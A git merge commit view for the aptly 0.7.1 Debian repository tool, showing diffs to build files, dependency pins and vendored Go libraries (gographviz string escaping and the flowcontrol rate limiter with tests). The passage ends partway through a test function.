Merge tag 'upstream/0.7.1'

Upstream version 0.7.1

Conflicts:
	src/github.com/smira/aptly/_vendor/src/code.google.com/p/mxk/LICENSE
This commit is contained in:
Sébastien Delafond committed 2014-09-10 09:42:37 +02:00
commit 32417bbb7e
492 files changed
+179447 -82970

No files matched your search

File renamed without changes.
@@ -1,8 +1,8 @@
language: go
go:
- 1.1
- 1.2.1
- 1.3
- tip
env:
+6
View File
@@ -0,0 +1,6 @@
List of contributors, in chronological order:
* Andrey Smirnov (https://github.com/smira)
* Sebastien Binet (https://github.com/sbinet)
* Ryan Uber (https://github.com/ryanuber)
* Simon Aquino (https://github.com/simonaquino)
+6 -4
View File
@@ -1,12 +1,14 @@
gom 'code.google.com/p/go-uuid/uuid', :commit => '5fac954758f5'
gom 'code.google.com/p/go.crypto/ssh/terminal', :commit => '7aa593ce8cea'
gom 'code.google.com/p/gographviz', :commit => '212766062629'
gom 'code.google.com/p/gographviz', :commit => '454bc64fdfa2'
gom 'code.google.com/p/mxk/go1/flowcontrol', :commit => '5ff2502e2556'
gom 'code.google.com/p/snappy-go/snappy', :commit => '12e4b4183793'
gom 'github.com/cheggaaa/pb', :commit => '74be7a1388046f374ac36e93d46f5d56e856f827'
gom 'github.com/smira/commander'
gom 'github.com/smira/flag'
gom 'github.com/mitchellh/goamz/s3', :commit => '55f224c07975fddef9d2116600c664e30df3d594'
gom 'github.com/mkrautz/goar', :commit => '36eb5f3452b1283a211fa35bc00c646fd0db5c4b'
gom 'github.com/syndtr/goleveldb/leveldb', :commit => 'ff3719c6816e2cd194f05058452d660608e178ac'
gom 'github.com/smira/commander', :commit => 'f408b00e68d5d6e21b9f18bd310978dafc604e47'
gom 'github.com/smira/flag', :commit => '0d0aac2addb39050f45e92c5a6252926096dc841'
gom 'github.com/syndtr/goleveldb/leveldb', :commit => '9888007'
gom 'github.com/ugorji/go/codec', :commit => '71c2886f5a673a35f909803f38ece5810165097b'
gom 'github.com/wsxiaoys/terminal/color', :commit => '5668e431776a7957528361f90ce828266c69ed08'
+13 -5
View File
@@ -1,6 +1,6 @@
GOVERSION=$(shell go version | awk '{print $$3;}')
PACKAGES=database deb files http utils
ALL_PACKAGES=aptly cmd console database deb files http utils
PACKAGES=database deb files http query s3 utils
ALL_PACKAGES=aptly cmd console database deb files http query s3 utils
BINPATH=$(abspath ./_vendor/bin)
GOM_ENVIRONMENT=-test
PYTHON?=python
@@ -43,9 +43,7 @@ install:
$(GOM) build -o $(BINPATH)/aptly
system-test: install
ifeq ($(GOVERSION),$(filter $(GOVERSION),go1.2 go1.2.1 devel))
if [ ! -e ~/aptly-fixture-db ]; then git clone https://github.com/aptly-dev/aptly-fixture-db.git ~/aptly-fixture-db/; fi
endif
if [ ! -e ~/aptly-fixture-pool ]; then git clone https://github.com/aptly-dev/aptly-fixture-pool.git ~/aptly-fixture-pool/; fi
PATH=$(BINPATH)/:$(PATH) $(PYTHON) system/run.py --long
@@ -69,7 +67,17 @@ package:
(cd root/etc/bash_completion.d && wget https://raw.github.com/aptly-dev/aptly-bash-completion/master/aptly)
gzip root/usr/share/man/man1/aptly.1
fpm -s dir -t deb -n aptly -v $(VERSION) --url=http://www.aptly.info/ --license=MIT --vendor="Andrey Smirnov <me@smira.ru>" \
-f -m "Andrey Smirnov <me@smira.ru>" --description="Debian repository management tool" -C root/ .
-f -m "Andrey Smirnov <me@smira.ru>" --description="Debian repository management tool" --deb-recommends bzip2 -C root/ .
mv aptly_$(VERSION)_*.deb ~
src-package:
rm -rf aptly-$(VERSION)
mkdir -p aptly-$(VERSION)/src/github.com/smira/aptly/
cd aptly-$(VERSION)/src/github.com/smira/ && git clone https://github.com/smira/aptly && cd aptly && git checkout v$(VERSION)
cd aptly-$(VERSION)/src/github.com/smira/aptly && gom -production install
cd aptly-$(VERSION)/src/github.com/smira/aptly && find . \( -name .git -o -name .bzr -o -name .hg \) -print | xargs rm -rf
rm -rf aptly-$(VERSION)/src/github.com/smira/aptly/_vendor/{pkg,bin}
tar cyf aptly-$(VERSION)-src.tar.bz2 aptly-$(VERSION)
rm -rf aptly-$(VERSION)
.PHONY: coverage.out
+5 -1
View File
@@ -8,6 +8,10 @@ aptly
.. image:: https://coveralls.io/repos/smira/aptly/badge.png?branch=HEAD
:target: https://coveralls.io/r/smira/aptly?branch=HEAD
.. image:: http://gobuild.io/badge/github.com/smira/aptly/download.png
:target: http://gobuild.io/github.com/smira/aptly
Aptly is a swiss army knife for Debian repository management.
Documentation is available at `http://www.aptly.info/ <http://www.aptly.info/>`_. For support use
@@ -51,7 +55,7 @@ Ubuntu 10.0+. Package contains aptly binary, man page and bash completion.
Binary executables (depends almost only on libc) are available for download from `Bintray <http://dl.bintray.com/smira/aptly/>`_.
If you have Go environment set up, you can build aptly from source by running (go 1.1+ required)::
If you have Go environment set up, you can build aptly from source by running (go 1.2+ required)::
go get -u github.com/mattn/gom
mkdir -p $GOPATH/src/github.com/smira/aptly
@@ -19,7 +19,7 @@ import (
)
//Creates a Graph structure by analysing an Abstract Syntax Tree representing a parsed graph.
func NewAnalysedGraph(graph *ast.Graph) *Graph {
func NewAnalysedGraph(graph *ast.Graph) Interface {
g := NewGraph()
Analyse(graph, g)
return g
@@ -129,7 +129,7 @@ func (this *stmtVisitor) edgeStmt(stmt ast.EdgeStmt) ast.Visitor {
this.g.AddNode(this.graphName, dstName, this.currentNodeAttrs.Copy())
}
dstPort := stmt.EdgeRHS[i].Destination.GetPort()
this.g.AddEdge(srcName, srcPort.String(), dstName, dstPort.String(), directed, attrs)
this.g.AddPortEdge(srcName, srcPort.String(), dstName, dstPort.String(), directed, attrs)
src = dst
srcPort = dstPort
srcName = dstName
@@ -50,19 +50,21 @@ func assert(t *testing.T, msg string, v1 interface{}, v2 interface{}) {
}
}
func anal(t *testing.T, input string) *Graph {
func anal(t *testing.T, input string) Interface {
fmt.Printf("Input: %v\n", input)
g, err := parser.ParseString(input)
check(t, err)
fmt.Printf("Parsed: %v\n", g)
ag := NewAnalysedGraph(g)
ag := NewGraph()
Analyse(g, ag)
fmt.Printf("Analysed: %v\n", ag)
agstr := ag.String()
fmt.Printf("Written: %v\n", agstr)
g2, err := parser.ParseString(agstr)
check(t, err)
fmt.Printf("Parsed %v\n", g2)
ag2 := NewAnalysedGraph(g2)
ag2 := NewEscape()
Analyse(g2, ag2)
fmt.Printf("Analysed %v\n", ag2)
ag2str := ag2.String()
fmt.Printf("Written: %v\n", ag2str)
@@ -70,7 +72,7 @@ func anal(t *testing.T, input string) *Graph {
return ag2
}
func analfile(t *testing.T, filename string) *Graph {
func analfile(t *testing.T, filename string) Interface {
f, err := os.Open(filename)
check(t, err)
all, err := ioutil.ReadAll(f)
@@ -78,7 +80,7 @@ func analfile(t *testing.T, filename string) *Graph {
return anal(t, string(all))
}
func analtest(t *testing.T, testname string) *Graph {
func analtest(t *testing.T, testname string) Interface {
return analfile(t, "./testdata/"+testname)
}
@@ -0,0 +1,177 @@
//Copyright 2013 Vastech SA (PTY) LTD
//
//Licensed under the Apache License, Version 2.0 (the "License");
//you may not use this file except in compliance with the License.
//You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
//Unless required by applicable law or agreed to in writing, software
//distributed under the License is distributed on an "AS IS" BASIS,
//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//See the License for the specific language governing permissions and
//limitations under the License.
package gographviz
import (
"code.google.com/p/gographviz/scanner"
"code.google.com/p/gographviz/token"
"fmt"
"strings"
"text/template"
"unicode"
)
type Escape struct {
Interface
}
//Returns a graph which will try to escape some strings when required
func NewEscape() Interface {
return &Escape{NewGraph()}
}
func isHtml(s string) bool {
if len(s) == 0 {
return false
}
ss := strings.TrimSpace(s)
if ss[0] != '<' {
return false
}
count := 0
for _, c := range ss {
if c == '<' {
count += 1
}
if c == '>' {
count -= 1
}
}
if count == 0 {
return true
}
return false
}
func isLetter(ch rune) bool {
return 'a' <= ch && ch <= 'z' || 'A' <= ch && ch <= 'Z' || ch == '_' ||
ch >= 0x80 && unicode.IsLetter(ch) && ch != 'ε'
}
func isId(s string) bool {
i := 0
pos := false
for _, c := range s {
if i == 0 {
if !isLetter(c) {
return false
}
pos = true
}
if unicode.IsSpace(c) {
return false
}
if c == '-' {
return false
}
i++
}
return pos
}
func isDigit(ch rune) bool {
return '0' <= ch && ch <= '9' || ch >= 0x80 && unicode.IsDigit(ch)
}
func isNumber(s string) bool {
state := 0
for _, c := range s {
if state == 0 {
if isDigit(c) || c == '.' {
state = 2
} else if c == '-' {
state = 1
} else {
return false
}
} else if state == 1 {
if isDigit(c) || c == '.' {
state = 2
}
} else if c != '.' && !isDigit(c) {
return false
}
}
return (state == 2)
}
func isStringLit(s string) bool {
lex := &scanner.Scanner{}
lex.Init([]byte(s), token.DOTTokens)
tok, _ := lex.Scan()
if tok.Type != token.DOTTokens.Type("string_lit") {
return false
}
tok, _ = lex.Scan()
if tok.Type != token.EOF {
return false
}
return true
}
func esc(s string) string {
if len(s) == 0 {
return s
}
if isHtml(s) {
return s
}
ss := strings.TrimSpace(s)
if ss[0] == '<' {
return fmt.Sprintf("\"%s\"", strings.Replace(s, "\"", "\\\"", -1))
}
if isId(s) {
return s
}
if isNumber(s) {
return s
}
if isStringLit(s) {
return s
}
return fmt.Sprintf("\"%s\"", template.HTMLEscapeString(s))
}
func escAttrs(attrs map[string]string) map[string]string {
newAttrs := make(map[string]string)
for k, v := range attrs {
newAttrs[esc(k)] = esc(v)
}
return newAttrs
}
func (this *Escape) SetName(name string) {
this.Interface.SetName(esc(name))
}
func (this *Escape) AddPortEdge(src, srcPort, dst, dstPort string, directed bool, attrs map[string]string) {
this.Interface.AddPortEdge(esc(src), srcPort, esc(dst), dstPort, directed, escAttrs(attrs))
}
func (this *Escape) AddEdge(src, dst string, directed bool, attrs map[string]string) {
this.AddPortEdge(src, "", dst, "", directed, attrs)
}
func (this *Escape) AddNode(parentGraph string, name string, attrs map[string]string) {
this.Interface.AddNode(esc(parentGraph), esc(name), escAttrs(attrs))
}
func (this *Escape) AddAttr(parentGraph string, field, value string) {
this.Interface.AddAttr(esc(parentGraph), esc(field), esc(value))
}
func (this *Escape) AddSubGraph(parentGraph string, name string, attrs map[string]string) {
this.Interface.AddSubGraph(esc(parentGraph), esc(name), escAttrs(attrs))
}
@@ -0,0 +1,44 @@
//Copyright 2013 Vastech SA (PTY) LTD
//
//Licensed under the Apache License, Version 2.0 (the "License");
//you may not use this file except in compliance with the License.
//You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
//Unless required by applicable law or agreed to in writing, software
//distributed under the License is distributed on an "AS IS" BASIS,
//WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
//See the License for the specific language governing permissions and
//limitations under the License.
package gographviz
import (
"strings"
"testing"
)
func TestEscape(t *testing.T) {
g := NewEscape()
g.SetName("asdf adsf")
g.SetDir(true)
g.AddNode("asdf asdf", "kasdf99 99", map[string]string{
"<asfd": "1",
})
g.AddNode("asdf asdf", "7", map[string]string{
"<asfd": "1",
})
g.AddNode("asdf asdf", "a << b", nil)
g.AddEdge("kasdf99 99", "7", true, nil)
s := g.String()
if !strings.HasPrefix(s, `digraph "asdf adsf" {
"kasdf99 99"->7;
"a &lt;&lt; b";
"kasdf99 99" [ "<asfd"=1 ];
7 [ "<asfd"=1 ];
}`) {
t.Fatalf("%s", s)
}
}
@@ -40,7 +40,7 @@ func ExampleNewGraph() {
g.SetDir(true)
g.AddNode("G", "Hello", nil)
g.AddNode("G", "World", nil)
g.AddEdge("Hello", "", "World", "", true, nil)
g.AddEdge("Hello", "World", true, nil)
s := g.String()
fmt.Println(s)
// Output: digraph G {
@@ -66,7 +66,7 @@ func NewMyOwnGraphStructure() *MyOwnGraphStructure {
func (this *MyOwnGraphStructure) SetStrict(strict bool) {}
func (this *MyOwnGraphStructure) SetDir(directed bool) {}
func (this *MyOwnGraphStructure) SetName(name string) {}
func (this *MyOwnGraphStructure) AddEdge(src, srcPort, dst, dstPort string, directed bool, attrs map[string]string) {
func (this *MyOwnGraphStructure) AddPortEdge(src, srcPort, dst, dstPort string, directed bool, attrs map[string]string) {
srci, err := strconv.Atoi(src)
if err != nil {
return
@@ -91,10 +91,14 @@ func (this *MyOwnGraphStructure) AddEdge(src, srcPort, dst, dstPort string, dire
}
}
func (this *MyOwnGraphStructure) AddEdge(src, dst string, directed bool, attrs map[string]string) {
this.AddPortEdge(src, "", dst, "", directed, attrs)
}
func (this *MyOwnGraphStructure) AddNode(parentGraph string, name string, attrs map[string]string) {}
func (this *MyOwnGraphStructure) AddAttr(parentGraph string, field, value string) {}
func (this *MyOwnGraphStructure) AddSubGraph(parentGraph string, name string, attrs map[string]string) {
}
func (this *MyOwnGraphStructure) String() string { return "" }
//An Example of how to parse into your own simpler graph structure and output it back to graphviz.
//This example reads in only numbers and outputs a matrix graph.
@@ -125,7 +129,7 @@ func ExampleMyOwnGraphStructure() {
}
for i := 1; i <= mine.max; i++ {
for j := 1; j <= mine.max; j++ {
output.AddEdge(fmt.Sprintf("%v", i), "", fmt.Sprintf("%v", j), "", true, map[string]string{"label": fmt.Sprintf("%v", mine.weights[i][j])})
output.AddEdge(fmt.Sprintf("%v", i), fmt.Sprintf("%v", j), true, map[string]string{"label": fmt.Sprintf("%v", mine.weights[i][j])})
}
}
s := output.String()
@@ -30,10 +30,12 @@ type Interface interface {
SetStrict(strict bool)
SetDir(directed bool)
SetName(name string)
AddEdge(src, srcPort, dst, dstPort string, directed bool, attrs map[string]string)
AddPortEdge(src, srcPort, dst, dstPort string, directed bool, attrs map[string]string)
AddEdge(src, dst string, directed bool, attrs map[string]string)
AddNode(parentGraph string, name string, attrs map[string]string)
AddAttr(parentGraph string, field, value string)
AddSubGraph(parentGraph string, name string, attrs map[string]string)
String() string
}
//Parses the buffer into a abstract syntax tree representing the graph.
@@ -42,7 +44,7 @@ func Parse(buf []byte) (*ast.Graph, error) {
}
//Parses and creates a new Graph from the data.
func Read(buf []byte) (*Graph, error) {
func Read(buf []byte) (Interface, error) {
st, err := Parse(buf)
if err != nil {
return nil, err
@@ -59,10 +59,16 @@ func (this *Graph) SetName(name string) {
//Adds an edge to the graph from node src to node dst.
//srcPort and dstPort are the port the node ports, leave as empty strings if it is not required.
//This does not imply the adding of missing nodes.
func (this *Graph) AddEdge(src, srcPort, dst, dstPort string, directed bool, attrs map[string]string) {
func (this *Graph) AddPortEdge(src, srcPort, dst, dstPort string, directed bool, attrs map[string]string) {
this.Edges.Add(&Edge{src, srcPort, dst, dstPort, directed, attrs})
}
//Adds an edge to the graph from node src to node dst.
//This does not imply the adding of missing nodes.
func (this *Graph) AddEdge(src, dst string, directed bool, attrs map[string]string) {
this.AddPortEdge(src, "", dst, "", directed, attrs)
}
//Adds a node to a graph/subgraph.
//If not subgraph exists use the name of the main graph.
//This does not imply the adding of a missing subgraph.
@@ -1,18 +1,20 @@
Copyright (c) 2013 The Go Authors. All rights reserved.
Copyright (c) 2013 Maxim Khitrov. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
* Neither the name of Google Inc. nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the
distribution.
* Neither the name of the mxk project nor the names of its
contributors may be used to endorse or promote products derived
from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
@@ -0,0 +1,267 @@
//
// Written by Maxim Khitrov (November 2012)
//
// Package flowcontrol provides the tools for monitoring and limiting the
// transfer rate of an arbitrary data stream.
package flowcontrol
import (
"math"
"sync"
"time"
)
// Monitor monitors and limits the transfer rate of a data stream.
type Monitor struct {
mu sync.Mutex // Mutex guarding access to all internal fields
active bool // Flag indicating an active transfer
start time.Duration // Transfer start time (clock() value)
bytes int64 // Total number of bytes transferred
samples int64 // Total number of samples taken
rSample float64 // Most recent transfer rate sample (bytes per second)
rEMA float64 // Exponential moving average of rSample
rPeak float64 // Peak transfer rate (max of all rSamples)
rWindow float64 // rEMA window (seconds)
sBytes int64 // Number of bytes transferred since sLast
sLast time.Duration // Most recent sample time (stop time when inactive)
sRate time.Duration // Sampling rate
tBytes int64 // Number of bytes expected in the current transfer
tLast time.Duration // Time of the most recent transfer of at least 1 byte
}
// New creates a new flow control monitor. Instantaneous transfer rate is
// measured and updated for each sampleRate interval. windowSize determines the
// weight of each sample in the exponential moving average (EMA) calculation.
// The exact formulas are:
//
// sampleTime = currentTime - prevSampleTime
// sampleRate = byteCount / sampleTime
// weight = 1 - exp(-sampleTime/windowSize)
// newRate = weight*sampleRate + (1-weight)*oldRate
//
// The default values for sampleRate and windowSize (if <= 0) are 100ms and 1s,
// respectively.
func New(sampleRate, windowSize time.Duration) *Monitor {
if sampleRate = clockRound(sampleRate); sampleRate <= 0 {
sampleRate = 5 * clockRate
}
if windowSize <= 0 {
windowSize = 1 * time.Second
}
now := clock()
return &Monitor{
active: true,
start: now,
rWindow: windowSize.Seconds(),
sLast: now,
sRate: sampleRate,
tLast: now,
}
}
// Update records the transfer of n bytes and returns n. It should be called
// after each Read/Write operation, even if n is 0.
func (m *Monitor) Update(n int) int {
m.mu.Lock()
m.update(n)
m.mu.Unlock()
return n
}
// IO is a convenience method intended to wrap io.Reader and io.Writer method
// execution. It calls m.Update(n) and then returns (n, err) unmodified.
func (m *Monitor) IO(n int, err error) (int, error) {
return m.Update(n), err
}
// Done marks the transfer as finished and prevents any further updates or
// limiting. Instantaneous and current transfer rates drop to 0. Update, IO, and
// Limit methods become NOOPs. It returns the total number of bytes transferred.
func (m *Monitor) Done() int64 {
m.mu.Lock()
if now := m.update(0); m.sBytes > 0 {
m.reset(now)
}
m.active = false
m.tLast = 0
n := m.bytes
m.mu.Unlock()
return n
}
// timeRemLimit is the maximum Status.TimeRem value.
const timeRemLimit = 999*time.Hour + 59*time.Minute + 59*time.Second
// Status represents the current Monitor status. All transfer rates are in bytes
// per second rounded to the nearest byte.
type Status struct {
Active bool // Flag indicating an active transfer
Start time.Time // Transfer start time
Duration time.Duration // Time period covered by the statistics
Idle time.Duration // Time since the last transfer of at least 1 byte
Bytes int64 // Total number of bytes transferred
Samples int64 // Total number of samples taken
InstRate int64 // Instantaneous transfer rate
CurRate int64 // Current transfer rate (EMA of InstRate)
AvgRate int64 // Average transfer rate (Bytes / Duration)
PeakRate int64 // Maximum instantaneous transfer rate
BytesRem int64 // Number of bytes remaining in the transfer
TimeRem time.Duration // Estimated time to completion
Progress Percent // Overall transfer progress
}
// Status returns current transfer status information. The returned value
// becomes static after a call to Done.
func (m *Monitor) Status() Status {
m.mu.Lock()
now := m.update(0)
s := Status{
Active: m.active,
Start: clockToTime(m.start),
Duration: m.sLast - m.start,
Idle: now - m.tLast,
Bytes: m.bytes,
Samples: m.samples,
PeakRate: round(m.rPeak),
BytesRem: m.tBytes - m.bytes,
Progress: percentOf(float64(m.bytes), float64(m.tBytes)),
}
if s.BytesRem < 0 {
s.BytesRem = 0
}
if s.Duration > 0 {
rAvg := float64(s.Bytes) / s.Duration.Seconds()
s.AvgRate = round(rAvg)
if s.Active {
s.InstRate = round(m.rSample)
s.CurRate = round(m.rEMA)
if s.BytesRem > 0 {
if tRate := 0.8*m.rEMA + 0.2*rAvg; tRate > 0 {
ns := float64(s.BytesRem) / tRate * 1e9
if ns > float64(timeRemLimit) {
ns = float64(timeRemLimit)
}
s.TimeRem = clockRound(time.Duration(ns))
}
}
}
}
m.mu.Unlock()
return s
}
// Limit restricts the instantaneous (per-sample) data flow to rate bytes per
// second. It returns the maximum number of bytes (0 <= n <= want) that may be
// transferred immediately without exceeding the limit. If block == true, the
// call blocks until n > 0. want is returned unmodified if want < 1, rate < 1,
// or the transfer is inactive (after a call to Done).
//
// At least one byte is always allowed to be transferred in any given sampling
// period. Thus, if the sampling rate is 100ms, the lowest achievable flow rate
// is 10 bytes per second.
//
// For usage examples, see the implementation of Reader and Writer in io.go.
func (m *Monitor) Limit(want int, rate int64, block bool) (n int) {
if want < 1 || rate < 1 {
return want
}
m.mu.Lock()
// Determine the maximum number of bytes that can be sent in one sample
limit := round(float64(rate) * m.sRate.Seconds())
if limit <= 0 {
limit = 1
}
// If block == true, wait until m.sBytes < limit
if now := m.update(0); block {
for m.sBytes >= limit && m.active {
now = m.waitNextSample(now)
}
}
// Make limit <= want (unlimited if the transfer is no longer active)
if limit -= m.sBytes; limit > int64(want) || !m.active {
limit = int64(want)
}
m.mu.Unlock()
if limit < 0 {
limit = 0
}
return int(limit)
}
// SetTransferSize specifies the total size of the data transfer, which allows
// the Monitor to calculate the overall progress and time to completion.
func (m *Monitor) SetTransferSize(bytes int64) {
if bytes < 0 {
bytes = 0
}
m.mu.Lock()
m.tBytes = bytes
m.mu.Unlock()
}
// update accumulates the transferred byte count for the current sample until
// clock() - m.sLast >= m.sRate. The monitor status is updated once the current
// sample is done.
func (m *Monitor) update(n int) (now time.Duration) {
if !m.active {
return
}
if now = clock(); n > 0 {
m.tLast = now
}
m.sBytes += int64(n)
if sTime := now - m.sLast; sTime >= m.sRate {
t := sTime.Seconds()
if m.rSample = float64(m.sBytes) / t; m.rSample > m.rPeak {
m.rPeak = m.rSample
}
// Exponential moving average using a method similar to *nix load
// average calculation. Longer sampling periods carry greater weight.
if m.samples > 0 {
w := math.Exp(-t / m.rWindow)
m.rEMA = m.rSample + w*(m.rEMA-m.rSample)
} else {
m.rEMA = m.rSample
}
m.reset(now)
}
return
}
// reset clears the current sample state in preparation for the next sample.
func (m *Monitor) reset(sampleTime time.Duration) {
m.bytes += m.sBytes
m.samples++
m.sBytes = 0
m.sLast = sampleTime
}
// waitNextSample sleeps for the remainder of the current sample. The lock is
// released and reacquired during the actual sleep period, so it's possible for
// the transfer to be inactive when this method returns.
func (m *Monitor) waitNextSample(now time.Duration) time.Duration {
const minWait = 5 * time.Millisecond
current := m.sLast
// sleep until the last sample time changes (ideally, just one iteration)
for m.sLast == current && m.active {
d := current + m.sRate - now
m.mu.Unlock()
if d < minWait {
d = minWait
}
time.Sleep(d)
m.mu.Lock()
now = m.update(0)
}
return now
}
@@ -0,0 +1,133 @@
//
// Written by Maxim Khitrov (November 2012)
//
package flowcontrol
import (
"errors"
"io"
)
// ErrLimit is returned by the Writer when a non-blocking write is short due to
// the transfer rate limit.
var ErrLimit = errors.New("flowcontrol: transfer rate limit exceeded")
// Limiter is implemented by the Reader and Writer to provide a consistent
// interface for monitoring and controlling data transfer.
type Limiter interface {
Done() int64
Status() Status
SetTransferSize(bytes int64)
SetLimit(new int64) (old int64)
SetBlocking(new bool) (old bool)
}
// Reader implements io.ReadCloser with a restriction on the rate of data
// transfer.
type Reader struct {
io.Reader // Data source
*Monitor // Flow control monitor
limit int64 // Rate limit in bytes per second (unlimited when <= 0)
block bool // What to do when no new bytes can be read due to the limit
}
// NewReader restricts all Read operations on r to limit bytes per second.
func NewReader(r io.Reader, limit int64) *Reader {
return &Reader{r, New(0, 0), limit, true}
}
// Read reads up to len(p) bytes into p without exceeding the current transfer
// rate limit. It returns (0, nil) immediately if r is non-blocking and no new
// bytes can be read at this time.
func (r *Reader) Read(p []byte) (n int, err error) {
p = p[:r.Limit(len(p), r.limit, r.block)]
if len(p) > 0 {
n, err = r.IO(r.Reader.Read(p))
}
return
}
// SetLimit changes the transfer rate limit to new bytes per second and returns
// the previous setting.
func (r *Reader) SetLimit(new int64) (old int64) {
old, r.limit = r.limit, new
return
}
// SetBlocking changes the blocking behavior and returns the previous setting. A
// Read call on a non-blocking reader returns immediately if no additional bytes
// may be read at this time due to the rate limit.
func (r *Reader) SetBlocking(new bool) (old bool) {
old, r.block = r.block, new
return
}
// Close closes the underlying reader if it implements the io.Closer interface.
func (r *Reader) Close() error {
defer r.Done()
if c, ok := r.Reader.(io.Closer); ok {
return c.Close()
}
return nil
}
// Writer implements io.WriteCloser with a restriction on the rate of data
// transfer.
type Writer struct {
io.Writer // Data destination
*Monitor // Flow control monitor
limit int64 // Rate limit in bytes per second (unlimited when <= 0)
block bool // What to do when no new bytes can be written due to the limit
}
// NewWriter restricts all Write operations on w to limit bytes per second. The
// transfer rate and the default blocking behavior (true) can be changed
// directly on the returned *Writer.
func NewWriter(w io.Writer, limit int64) *Writer {
return &Writer{w, New(0, 0), limit, true}
}
// Write writes len(p) bytes from p to the underlying data stream without
// exceeding the current transfer rate limit. It returns (n, ErrLimit) if w is
// non-blocking and no additional bytes can be written at this time.
func (w *Writer) Write(p []byte) (n int, err error) {
var c int
for len(p) > 0 && err == nil {
s := p[:w.Limit(len(p), w.limit, w.block)]
if len(s) > 0 {
c, err = w.IO(w.Writer.Write(s))
} else {
return n, ErrLimit
}
p = p[c:]
n += c
}
return
}
// SetLimit changes the transfer rate limit to new bytes per second and returns
// the previous setting.
func (w *Writer) SetLimit(new int64) (old int64) {
old, w.limit = w.limit, new
return
}
// SetBlocking changes the blocking behavior and returns the previous setting. A
// Write call on a non-blocking writer returns as soon as no additional bytes
// may be written at this time due to the rate limit.
func (w *Writer) SetBlocking(new bool) (old bool) {
old, w.block = w.block, new
return
}
// Close closes the underlying writer if it implements the io.Closer interface.
func (w *Writer) Close() error {
defer w.Done()
if c, ok := w.Writer.(io.Closer); ok {
return c.Close()
}
return nil
}
@@ -0,0 +1,146 @@
//
// Written by Maxim Khitrov (November 2012)
//
package flowcontrol
import (
"bytes"
"reflect"
"testing"
"time"
)
const (
_50ms = 50 * time.Millisecond
_100ms = 100 * time.Millisecond
_200ms = 200 * time.Millisecond
_300ms = 300 * time.Millisecond
_400ms = 400 * time.Millisecond
_500ms = 500 * time.Millisecond
)
func nextStatus(m *Monitor) Status {
samples := m.samples
for i := 0; i < 30; i++ {
if s := m.Status(); s.Samples != samples {
return s
}
time.Sleep(5 * time.Millisecond)
}
return m.Status()
}
func TestReader(t *testing.T) {
in := make([]byte, 100)
for i := range in {
in[i] = byte(i)
}
b := make([]byte, 100)
r := NewReader(bytes.NewReader(in), 100)
start := time.Now()
// Make sure r implements Limiter
_ = Limiter(r)
// 1st read of 10 bytes is performed immediately
if n, err := r.Read(b); n != 10 || err != nil {
t.Fatalf("r.Read(b) expected 10 (<nil>); got %v (%v)", n, err)
} else if rt := time.Since(start); rt > _50ms {
t.Fatalf("r.Read(b) took too long (%v)", rt)
}
// No new Reads allowed in the current sample
r.SetBlocking(false)
if n, err := r.Read(b); n != 0 || err != nil {
t.Fatalf("r.Read(b) expected 0 (<nil>); got %v (%v)", n, err)
} else if rt := time.Since(start); rt > _50ms {
t.Fatalf("r.Read(b) took too long (%v)", rt)
}
status := [6]Status{0: r.Status()} // No samples in the first status
// 2nd read of 10 bytes blocks until the next sample
r.SetBlocking(true)
if n, err := r.Read(b[10:]); n != 10 || err != nil {
t.Fatalf("r.Read(b[10:]) expected 10 (<nil>); got %v (%v)", n, err)
} else if rt := time.Since(start); rt < _100ms {
t.Fatalf("r.Read(b[10:]) returned ahead of time (%v)", rt)
}
status[1] = r.Status() // 1st sample
status[2] = nextStatus(r.Monitor) // 2nd sample
status[3] = nextStatus(r.Monitor) // No activity for the 3rd sample
if n := r.Done(); n != 20 {
t.Fatalf("r.Done() expected 20; got %v", n)
}
status[4] = r.Status()
status[5] = nextStatus(r.Monitor) // Timeout
start = status[0].Start
// Active, Start, Duration, Idle, Bytes, Samples, InstRate, CurRate, AvgRate, PeakRate, BytesRem, TimeRem, Progress
want := []Status{
Status{true, start, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
Status{true, start, _100ms, 0, 10, 1, 100, 100, 100, 100, 0, 0, 0},
Status{true, start, _200ms, _100ms, 20, 2, 100, 100, 100, 100, 0, 0, 0},
Status{true, start, _300ms, _200ms, 20, 3, 0, 90, 67, 100, 0, 0, 0},
Status{false, start, _300ms, 0, 20, 3, 0, 0, 67, 100, 0, 0, 0},
Status{false, start, _300ms, 0, 20, 3, 0, 0, 67, 100, 0, 0, 0},
}
for i, s := range status {
if !reflect.DeepEqual(&s, &want[i]) {
t.Errorf("r.Status(%v) expected %v; got %v", i, want[i], s)
}
}
if !bytes.Equal(b[:20], in[:20]) {
t.Errorf("r.Read() input doesn't match output")
}
}
func TestWriter(t *testing.T) {
b := make([]byte, 100)
for i := range b {
b[i] = byte(i)
}
w := NewWriter(&bytes.Buffer{}, 200)
start := time.Now()
// Make sure w implements Limiter
_ = Limiter(w)
// Non-blocking 20-byte write for the first sample returns ErrLimit
w.SetBlocking(false)
if n, err := w.Write(b); n != 20 || err != ErrLimit {
t.Fatalf("w.Write(b) expected 20 (ErrLimit); got %v (%v)", n, err)
} else if rt := time.Since(start); rt > _50ms {
t.Fatalf("w.Write(b) took too long (%v)", rt)
}
// Blocking 80-byte write
w.SetBlocking(true)
if n, err := w.Write(b[20:]); n != 80 || err != nil {
t.Fatalf("w.Write(b[20:]) expected 80 (<nil>); got %v (%v)", n, err)
} else if rt := time.Since(start); rt < _400ms {
t.Fatalf("w.Write(b[20:]) returned ahead of time (%v)", rt)
}
w.SetTransferSize(100)
status := []Status{w.Status(), nextStatus(w.Monitor)}
start = status[0].Start
// Active, Start, Duration, Idle, Bytes, Samples, InstRate, CurRate, AvgRate, PeakRate, BytesRem, TimeRem, Progress
